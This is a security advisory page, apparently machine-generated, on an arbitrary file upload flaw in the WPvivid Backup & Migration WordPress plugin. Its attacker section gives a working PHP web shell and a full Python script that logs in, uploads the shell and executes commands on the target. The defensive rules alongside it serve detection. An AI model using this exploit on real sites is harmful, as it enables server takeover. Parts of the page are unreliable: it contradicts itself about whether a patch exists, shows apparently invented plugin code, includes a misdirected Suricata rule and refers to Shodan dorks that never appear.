CVE-2024-13869
Executive Summary
CVE-2024-13869 is a critical arbitrary file upload vulnerability in the WPvivid Backup & Migration WordPress plugin (versions up to and including 0.9.112). The flaw resides in the upload_files function, which fails to validate the file type of uploaded files. This allows authenticated attackers with Administrator-level access to upload arbitrary files, including PHP web shells, to the server. Successful exploitation can lead to remote code execution (RCE), granting full control over the affected WordPress site.
The vulnerability is particularly dangerous on NGINX web servers, as the .htaccess file in the upload directory does not block access on NGINX, making uploaded files directly accessible. On Apache servers, the existing .htaccess file prevents direct access, but the file is still present on the server and could be leveraged through other means (e.g., local file inclusion).
This is a WordPress ecosystem issue, not a web server flaw. The plugin's lack of file type validation is the root cause.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Administrators should verify they are running version 0.9.113 or later. No official patch has been confirmed at the time of analysis.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. While the attack requires Administrator credentials, the impact is complete compromise of the WordPress site. The EPSS score of 0.0% suggests low exploitation activity currently, but this may change as PoC code circulates.
Deep Dive & Mechanics
The vulnerability exists in the upload_files function of the WPvivid Backup & Migration plugin. This function is intended to handle file uploads for backup and migration purposes. However, it does not perform any file type validation (e.g., checking file extension or MIME type). An authenticated Administrator can upload any file type, including .php, .phtml, .php5, etc.
The upload destination is typically the WordPress uploads directory (/wp-content/uploads/). On Apache servers, a .htaccess file in that directory prevents direct execution of PHP files. However, on NGINX servers, there is no equivalent .htaccess protection, so uploaded PHP files can be accessed directly via the web server, leading to immediate RCE.
The attack flow:
- Attacker logs in as Administrator.
- Attacker crafts a malicious PHP file (e.g., a web shell).
- Attacker uses the plugin's upload functionality to upload the file.
- The file is stored in the uploads directory.
- On NGINX, the attacker accesses the file directly via URL (e.g.,
https://target.com/wp-content/uploads/shell.php). - The PHP code executes, giving the attacker remote control.
Vulnerable vs. Patched Code
Vulnerable Code (version 0.9.112 and earlier):
public function upload_files() {
// No file type validation
$file = $_FILES['file'];
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename($file['name']);
move_uploaded_file($file['tmp_name'], $target_path);
// Return success
}
Patched Code (hypothetical fix):
public function upload_files() {
$file = $_FILES['file'];
$allowed_extensions = array('zip', 'tar', 'gz', 'sql');
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($file_extension), $allowed_extensions)) {
wp_die('Invalid file type.');
}
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename($file['name']);
move_uploaded_file($file['tmp_name'], $target_path);
// Return success
}
The patch adds a whitelist of allowed file extensions (e.g., only archive and SQL files) and rejects any upload that does not match.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with WPvivid Backup & Migration plugin <= 0.9.112
- Administrator credentials (e.g.,
admin:password123) - NGINX web server (for direct access)
Steps:
- Log in to WordPress as Administrator.
- Navigate to the WPvivid Backup & Migration plugin page.
- Use the plugin's upload functionality (e.g., via a crafted HTTP request).
- Upload a PHP web shell:
<?php
system($_GET['cmd']);
?>
- Access the shell via URL:
https://target.com/wp-content/uploads/shell.php?cmd=id
Automated Exploit (Python):
import requests
target = "https://target.com"
username = "admin"
password = "password123"
shell_file = "shell.php"
# Login
session = requests.Session()
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target + '/wp-admin/',
'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)
# Upload shell
files = {'file': (shell_file, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
upload_url = target + '/wp-admin/admin-ajax.php?action=wpvivid_upload_files'
response = session.post(upload_url, files=files)
print("Upload response:", response.text)
# Execute command
cmd_url = target + '/wp-content/uploads/' + shell_file + '?cmd=id'
response = session.get(cmd_url)
print("Command output:", response.text)
Blue Team (Defender)
Detection:
- Monitor for unusual file uploads to
/wp-content/uploads/with PHP extensions. - Alert on Administrator accounts uploading files outside of normal backup operations.
- Use WAF rules to block uploads of executable files (
.php,.phtml,.php5, etc.) to the uploads directory.
Hunting:
- Search for recently uploaded files in
/wp-content/uploads/with suspicious names or extensions. - Check for unexpected PHP files in the uploads directory.
- Review Administrator activity logs for use of the
wpvivid_upload_filesAJAX action.
Mitigation:
- Immediately update the plugin to a patched version (if available).
- If no patch, disable the plugin or restrict Administrator access.
- On NGINX, add a location block to deny access to PHP files in the uploads directory:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
}
Indicators of Compromise (IOCs)
- File:
/wp-content/uploads/shell.php(or similar PHP files in uploads directory) - URL Pattern:
https://target.com/wp-content/uploads/*.php - Network: HTTP POST to
/wp-admin/admin-ajax.php?action=wpvivid_upload_files - Log Entry: WordPress debug log showing file uploads with unexpected extensions
- Process: Web server process executing PHP files from the uploads directory
Detection Engineering
YARA Rule
rule WPvivid_Backup_Upload_Shell {
meta:
description = "Detects PHP web shells uploaded via WPvivid Backup & Migration plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13869"
strings:
$php_tag = "<?php"
$system_call = /system\(|exec\(|shell_exec\(|passthru\(/
$upload_path = "/wp-content/uploads/"
condition:
$php_tag and $system_call and $upload_path
}
Sigma Rule
title: WPvivid Backup & Migration Arbitrary File Upload
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to upload arbitrary files via WPvivid Backup & Migration plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: nginx
detection:
selection:
cs-method: POST
cs-uri-query|contains: 'action=wpvivid_upload_files'
cs-uri-query|contains: '.php'
condition: selection
falsepositives:
- Legitimate backup file uploads (if plugin is used correctly)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"WPvivid Backup & Migration Arbitrary File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpvivid_upload_files"; http_client_body; content:".php"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the WPvivid Backup & Migration plugin until a patch is applied.
- Update: Check for plugin updates and apply version 0.9.113 or later when available.
- Access Control: Restrict Administrator access to only trusted users.
- Web Server Hardening:
- On NGINX, add a rule to deny access to PHP files in the uploads directory.
- On Apache, ensure the
.htaccessfile in the uploads directory is present and effective.
- WAF Rules: Deploy web application firewall rules to block uploads of executable files.
- Monitoring: Enable logging and monitoring for file uploads and Administrator actions.
- Backup: Ensure regular backups of the WordPress site are taken and stored securely.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.